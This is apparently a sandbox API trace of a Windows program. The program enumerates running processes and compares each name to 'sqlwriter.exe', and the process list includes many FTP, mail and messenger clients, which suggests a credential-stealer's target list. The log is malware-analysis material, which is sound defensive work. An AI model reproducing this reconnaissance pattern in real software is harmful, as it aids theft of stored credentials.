260 [0082.002] VarBstrCmp (bstrLeft="explorer.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0082.002] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0082.003] GetLastError () returned 0x0 [0082.003] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="spoolsv.exe") returned 260 [0082.003] VarBstrCmp (bstrLeft="spoolsv.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0082.003] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0082.004] GetLastError () returned 0x0 [0082.004] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="svchost.exe") returned 260 [0082.004] VarBstrCmp (bstrLeft="svchost.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0082.004] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0082.005] GetLastError () returned 0x0 [0082.005] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="taskhost.exe") returned 260 [0082.005] VarBstrCmp (bstrLeft="taskhost.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0082.005] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0082.005] GetLastError () returned 0x0 [0082.005] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="taskeng.exe") returned 260 [0082.005] VarBstrCmp (bstrLeft="taskeng.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0082.005] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ridescontains.exe")) returned 1 [0082.006] GetLastError () returned 0x0 [0082.006] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="ridescontains.exe") returned 260 [0082.006] VarBstrCmp (bstrLeft="scontains.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0082.006] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="custody.exe")) returned 1 [0082.007] GetLastError () returned 0x0 [0082.007] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="custody.exe") returned 260 [0082.007] VarBstrCmp (bstrLeft="custody.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0082.007] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="constraints.exe")) returned 1 [0082.007] GetLastError () returned 0x0 [0082.007] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="constraints.exe") returned 260 [0082.007] VarBstrCmp (bstrLeft="nstraints.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0082.007] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x730, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="casting.exe")) returned 1 [0082.008] GetLastError () returned 0x0 [0082.008] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="casting.exe") returned 260 [0082.008] VarBstrCmp (bstrLeft="casting.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0082.008] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="rack-pc.exe")) returned 1 [0082.008] GetLastError () returned 0x0 [0082.008] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="rack-pc.exe") returned 260 [0082.009] VarBstrCmp (bstrLeft="rack-pc.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0082.009] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spring.exe")) returned 1 [0082.009] GetLastError () returned 0x0 [0082.009] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="spring.exe") returned 260 [0082.009] VarBstrCmp (bstrLeft="spring.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0082.009] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fails_incoming_foreign.exe")) returned 1 [0082.010] GetLastError () returned 0x0 [0082.010] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="fails_incoming_foreign.exe") returned 260 [0082.010] VarBstrCmp (bstrLeft="g_foreign.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0082.010] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ingredientsverizonpostposted.exe")) returned 1 [0082.010] GetLastError () returned 0x0 [0082.010] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="ingredientsverizonpostposted.exe") returned 260 [0082.010] VarBstrCmp (bstrLeft="ostposted.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0082.010] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="moreinvolves.exe")) returned 1 [0082.011] GetLastError () returned 0x0 [0082.011] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="moreinvolves.exe") returned 260 [0082.011] VarBstrCmp (bstrLeft="einvolves.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0082.011] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ordinary-multiple-commissions.exe")) returned 1 [0082.012] GetLastError () returned 0x0 [0082.012] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="ordinary-multiple-commissions.exe") returned 260 [0082.012] VarBstrCmp (bstrLeft="mmissions.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0082.012] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afghanistanforestryamateur.exe")) returned 1 [0082.012] GetLastError () returned 0x0 [0082.012] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="afghanistanforestryamateur.exe") returned 260 [0082.012] VarBstrCmp (bstrLeft="ryamateur.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0082.012] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="difference.exe")) returned 1 [0082.013] GetLastError () returned 0x0 [0082.013] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="difference.exe") returned 260 [0082.013] VarBstrCmp (bstrLeft="ifference.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0082.013] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mandatory-places.exe")) returned 1 [0082.014] GetLastError () returned 0x0 [0082.014] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="mandatory-places.exe") returned 260 [0082.014] VarBstrCmp (bstrLeft="ry-places.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0082.014] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="eagles-tribute.exe")) returned 1 [0082.015] GetLastError () returned 0x0 [0082.015] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="eagles-tribute.exe") returned 260 [0082.015] VarBstrCmp (bstrLeft="s-tribute.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0082.015] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="shoppingconnecticutwell.exe")) returned 1 [0082.015] GetLastError () returned 0x0 [0082.015] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="shoppingconnecticutwell.exe") returned 260 [0082.016] VarBstrCmp (bstrLeft="ticutwell.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0082.016] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="earliest-ne-broken.exe")) returned 1 [0082.016] GetLastError () returned 0x0 [0082.016] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="earliest-ne-broken.exe") returned 260 [0082.016] VarBstrCmp (bstrLeft="ne-broken.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0082.016] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="household.exe")) returned 1 [0082.017] GetLastError () returned 0x0 [0082.017] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="household.exe") returned 260 [0082.017] VarBstrCmp (bstrLeft="household.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0082.017] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mary.exe")) returned 1 [0082.018] GetLastError () returned 0x0 [0082.018] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="mary.exe") returned 260 [0082.018] VarBstrCmp (bstrLeft="mary.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0082.018] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0082.019] GetLastError () returned 0x0 [0082.019] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="3dftp.exe") returned 260 [0082.019] VarBstrCmp (bstrLeft="3dftp.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0082.019] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0082.020] GetLastError () returned 0x0 [0082.020] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="absolutetelnet.exe") returned 260 [0082.020] VarBstrCmp (bstrLeft="utetelnet.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0082.020] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0082.021] GetLastError () returned 0x0 [0082.021] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="alftp.exe") returned 260 [0082.021] VarBstrCmp (bstrLeft="alftp.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0082.021] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x754, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0082.022] VarBstrCmp (bstrLeft="barca.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0082.022] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0082.023] VarBstrCmp (bstrLeft="bitkinex.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0082.023] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0082.024] VarBstrCmp (bstrLeft="coreftp.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0082.024] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0082.024] VarBstrCmp (bstrLeft="far.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0082.024] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0082.025] VarBstrCmp (bstrLeft="filezilla.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0082.025] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0082.026] VarBstrCmp (bstrLeft="flashfxp.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0082.026] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0082.027] VarBstrCmp (bstrLeft="fling.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0082.027] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0082.027] VarBstrCmp (bstrLeft="ilincmail.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0082.027] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0082.028] VarBstrCmp (bstrLeft="tifierpro.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0082.028] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0082.028] VarBstrCmp (bstrLeft="icq.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0082.028] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0082.029] VarBstrCmp (bstrLeft="leechftp.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0082.029] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0082.029] VarBstrCmp (bstrLeft="ncftp.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0082.029] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0082.030] VarBstrCmp (bstrLeft="notepad.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0082.030] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0082.031] VarBstrCmp (bstrLeft="operamail.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0082.031] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0082.031] VarBstrCmp (bstrLeft="outlook.exe", bstrRight="sqlwriter.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0082.031] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0082.032] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0082.124] GetVersionExA (in: lpVersionInformation=0x18ebec*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion=" ") | out: lpVersionInformation=0x18ebec*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0082.124] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x18eb08) returned 0x27c [0082.238] GetVersionExA (in: lpVersionInformation=0x18ebec*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion=" ") | out: lpVersionInformation=0x18ebec*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0082.238] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x18eb08) returned 0x27c [0082.304] GetVersionExA (in: lpVersionInformation=0x18ebec*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion=" ") | out: lpVersionInformation=0x18ebec*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0082.304] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x18eb08) returned 0x27c [0082.365] GetVersionExA (in: lpVersionInformation=0x18ebec*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion=" ") | out: lpVersionInformation=0x18ebec*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0082.365] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x18eb08) returned 0x27c [0082.415] 